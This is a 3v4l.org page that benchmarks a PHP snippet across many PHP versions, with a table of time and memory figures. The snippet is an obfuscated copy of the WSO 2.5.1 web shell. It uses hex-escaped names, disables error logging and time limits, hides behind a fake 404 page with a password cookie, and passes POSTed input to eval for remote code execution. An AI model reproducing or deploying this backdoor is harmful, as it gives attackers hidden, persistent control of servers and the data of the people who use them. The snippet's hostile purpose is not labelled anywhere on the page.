3v4l.org

run code in 300+ PHP versions simultaneously
<?php <?php ${"\x47LOB\x41\x4c\x53"}["\x76\x72vw\x65y\x70\x7an\x69\x70\x75"]="a";${"\x47\x4cOBAL\x53"}["\x67\x72\x69u\x65\x66\x62\x64\x71c"]="\x61\x75\x74h\x5fpas\x73";${"\x47\x4cOBAL\x53"}["\x63\x74xv\x74\x6f\x6f\x6bn\x6dju"]="\x76";${"\x47\x4cO\x42A\x4cS"}["p\x69\x6fykc\x65\x61"]="def\x61ul\x74\x5fu\x73\x65_\x61j\x61\x78";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x77i\x72\x6d\x78l\x71tv\x79p"]="defa\x75\x6c\x74\x5f\x61\x63t\x69\x6f\x6e";${"\x47L\x4fB\x41\x4cS"}["\x64\x77e\x6d\x62\x6a\x63"]="\x63\x6fl\x6f\x72";${${"\x47\x4c\x4f\x42\x41LS"}["\x64\x77\x65\x6dbj\x63"]}="\x23d\x665";${${"\x47L\x4fB\x41\x4c\x53"}["\x69\x77\x69rm\x78\x6c\x71\x74\x76\x79p"]}="\x46i\x6cesM\x61n";$oboikuury="\x64e\x66a\x75\x6ct\x5fc\x68\x61\x72\x73\x65t";${${"\x47L\x4f\x42\x41\x4cS"}["p\x69oy\x6bc\x65\x61"]}=true;${$oboikuury}="\x57indow\x73-1\x325\x31";@ini_set("\x65r\x72o\x72_\x6cog",NULL);@ini_set("l\x6fg_er\x72ors",0);@ini_set("max_ex\x65\x63\x75\x74\x69o\x6e\x5f\x74im\x65",0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define("WS\x4f\x5fVE\x52S\x49ON","\x32.5\x2e1");if(get_magic_quotes_gpc()){function WSOstripslashes($array){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x64\x69z\x62\x73\x75e\x66a"]="\x61\x72r\x61\x79";$cfnrvu="\x61r\x72a\x79";${"GLOB\x41L\x53"}["\x6b\x63\x6ct\x6c\x70\x64\x73"]="a\x72\x72\x61\x79";return is_array(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x7ad\x69\x7ab\x73\x75e\x66\x61"]})?array_map("\x57SOst\x72\x69\x70\x73\x6c\x61\x73\x68\x65s",${${"\x47\x4cO\x42\x41LS"}["\x6b\x63\x6c\x74l\x70\x64\x73"]}):stripslashes(${$cfnrvu});}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){header("\x48\x54TP/1.\x30\x204\x30\x34\x20\x4eo\x74 \x46ound");die("4\x304");}function WSOsetcookie($k,$v){${"\x47\x4cO\x42ALS"}["\x67vf\x6c\x78m\x74"]="\x6b";$cjtmrt="\x76";$_COOKIE[${${"G\x4c\x4f\x42\x41LS"}["\x67\x76\x66\x6cxm\x74"]}]=${${"GLO\x42\x41\x4cS"}["\x63\x74\x78\x76t\x6f\x6fknm\x6a\x75"]};$raogrsixpi="\x6b";setcookie(${$raogrsixpi},${$cjtmrt});}$qyvsdolpq="a\x75\x74\x68\x5f\x70\x61s\x73";if(!empty(${$qyvsdolpq})){$rhavvlolc="au\x74h_\x70a\x73\x73";$ssfmrro="a\x75t\x68\x5fpa\x73\x73";if(isset($_POST["p\x61ss"])&&(md5($_POST["pa\x73\x73"])==${$ssfmrro}))WSOsetcookie(md5($_SERVER["H\x54\x54P_\x48\x4f\x53T"]),${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x72\x69\x75e\x66b\x64\x71\x63"]});if(!isset($_COOKIE[md5($_SERVER["\x48T\x54\x50\x5f\x48O\x53\x54"])])||($_COOKIE[md5($_SERVER["H\x54\x54\x50_H\x4fST"])]!=${$rhavvlolc}))wsoLogin();}function actionRC(){if(!@$_POST["p\x31"]){$ugtfpiyrum="a";${${"\x47\x4c\x4fB\x41LS"}["\x76r\x76w\x65\x79\x70z\x6eipu"]}=array("\x75n\x61m\x65"=>php_uname(),"p\x68\x70\x5fver\x73\x69o\x6e"=>phpversion(),"\x77s\x6f_v\x65\x72si\x6f\x6e"=>WSO_VERSION,"saf\x65m\x6f\x64e"=>@ini_get("\x73\x61\x66\x65\x5fm\x6fd\x65"));echo serialize(${$ugtfpiyrum});}else{eval($_POST["\x70\x31"]);}}if(empty($_POST["\x61"])){${"\x47L\x4fB\x41LS"}["\x69s\x76\x65\x78\x79"]="\x64\x65\x66\x61\x75\x6ct\x5f\x61c\x74i\x6f\x6e";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x6f\x65c\x68\x79\x6d\x7ad\x64\x64"]="\x64\x65\x66a\x75\x6c\x74_\x61\x63\x74\x69\x6fn";if(isset(${${"\x47L\x4f\x42\x41LS"}["\x69\x77ir\x6d\x78lqtv\x79\x70"]})&&function_exists("\x61ct\x69\x6f\x6e".${${"\x47L\x4f\x42\x41\x4cS"}["\x75o\x65ch\x79\x6d\x7a\x64\x64\x64"]}))$_POST["a"]=${${"\x47\x4c\x4f\x42ALS"}["i\x73\x76e\x78\x79"]};else$_POST["a"]="\x53e\x63\x49\x6e\x66o";}if(!empty($_POST["\x61"])&&function_exists("actio\x6e".$_POST["\x61"]))call_user_func("\x61\x63\x74\x69\x6f\x6e".$_POST["a"]);exit;

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.6.130.0170.06018.14
5.6.120.0030.08321.10
5.6.110.0070.05021.11
5.6.100.0070.08321.13
5.6.90.0130.07720.98
5.6.80.0070.07320.28
5.5.290.0030.08318.03
5.5.280.0130.08020.77
5.5.270.0100.06020.79
5.5.260.0100.08020.79
5.5.250.0030.08320.77
5.5.240.0070.07320.25
5.4.450.0200.04719.57
5.4.440.0530.06219.31
5.4.430.0550.05819.50
5.4.420.0480.05019.53
5.4.410.0380.05719.20
5.4.400.0480.05518.96
5.4.390.0570.04518.93
5.4.380.0430.05718.80
5.4.370.0400.05318.90
5.4.360.0570.05818.84
5.4.350.0360.04717.19
5.4.340.0430.04417.13
5.4.320.0330.04617.32
5.4.310.0400.04817.31
5.4.300.0240.04817.36
5.4.290.0120.05917.26
5.4.280.0110.04417.25
5.4.270.0230.05117.33
5.4.260.0370.05217.29
5.4.250.0390.04717.35
5.4.240.0340.04317.31
5.4.230.0320.05217.30
5.4.220.0340.04717.28
5.4.210.0340.04217.23
5.4.200.0330.04215.90
5.4.190.0360.04417.24
5.4.180.0290.04817.28
5.4.170.0320.05217.24
5.4.160.0360.04917.22
5.4.150.0270.05317.23
5.4.140.0410.04615.57
5.4.130.0190.04615.43
5.4.120.0160.04915.48
5.4.110.0130.04815.44
5.4.100.0370.04815.42
5.4.90.0400.04615.47
5.4.80.0390.05315.49
5.4.70.0360.05115.47
5.4.60.0290.05115.51
5.4.50.0280.04415.48
5.4.40.0380.04915.54
5.4.30.0300.04215.42
5.4.20.0100.05415.48
5.4.10.0130.04315.47
5.4.00.0370.04114.92
5.3.290.0340.05714.50
5.3.280.0280.04814.49
5.3.270.0300.04914.48
5.3.260.0270.04714.51
5.3.250.0080.05214.46
5.3.240.0140.04614.47
5.3.230.0270.04914.46
5.3.220.0320.04814.48
5.3.210.0410.05214.52
5.3.200.0380.03914.43
5.3.190.0320.04814.40
5.3.180.0340.04914.45
5.3.170.0360.05214.50
5.3.160.0400.04914.50
5.3.150.0430.03714.53
5.3.140.0320.04614.46
5.3.130.0340.05014.46
5.3.120.0320.04414.50
5.3.110.0400.04414.43
5.3.100.0330.04614.00
5.3.90.0330.05013.99
5.3.80.0320.04613.95
5.3.70.0290.04613.93
5.3.60.0280.05013.93
5.3.50.0380.05413.90
5.3.40.0440.05113.91
5.3.30.0300.04313.81
5.3.20.0280.03913.59
5.3.10.0260.04113.59
5.3.00.0370.04213.51
5.2.170.0210.03711.05
5.2.160.0110.03611.09
5.2.150.0100.03811.09
5.2.140.0070.04011.08
5.2.130.0160.03411.00
5.2.120.0090.03810.99
5.2.110.0080.03611.06
5.2.100.0090.03311.01
5.2.90.0070.03611.06
5.2.80.0040.04111.02
5.2.70.0100.03611.08
5.2.60.0090.04011.02
5.2.50.0110.04010.88
5.2.40.0170.03110.92
5.2.30.0100.03410.85
5.2.20.0120.03110.86
5.2.10.0100.03310.79
5.2.00.0070.03810.70
5.1.60.0090.0339.95
5.1.50.0040.0309.97
5.1.40.0070.0319.88
5.1.30.0110.03710.31
5.1.20.0060.03710.32
5.1.10.0080.03210.01
5.1.00.0070.0319.98
5.0.50.0080.0228.50
5.0.40.0040.0218.36
5.0.30.0030.0388.28
5.0.20.0070.0238.25
5.0.10.0070.0248.12
5.0.00.0080.0378.17
4.4.90.0080.0186.34
4.4.80.0070.0186.26
4.4.70.0080.0176.28
4.4.60.0080.0166.28
4.4.50.0040.0196.32
4.4.40.0080.0286.28
4.4.30.0070.0196.27
4.4.20.0020.0226.33
4.4.10.0040.0246.32
4.4.00.0060.0286.34
4.3.110.0070.0186.28
4.3.100.0030.0196.25
4.3.90.0020.0196.28
4.3.80.0080.0246.24
4.3.70.0060.0186.27
4.3.60.0030.0166.21
4.3.50.0000.0216.24
4.3.40.0030.0286.24
4.3.30.0020.0205.40
4.3.20.0060.0175.38
4.3.10.0030.0185.37
4.3.00.0000.0237.18

preferences:
146.62 ms | 1394 KiB | 7 Q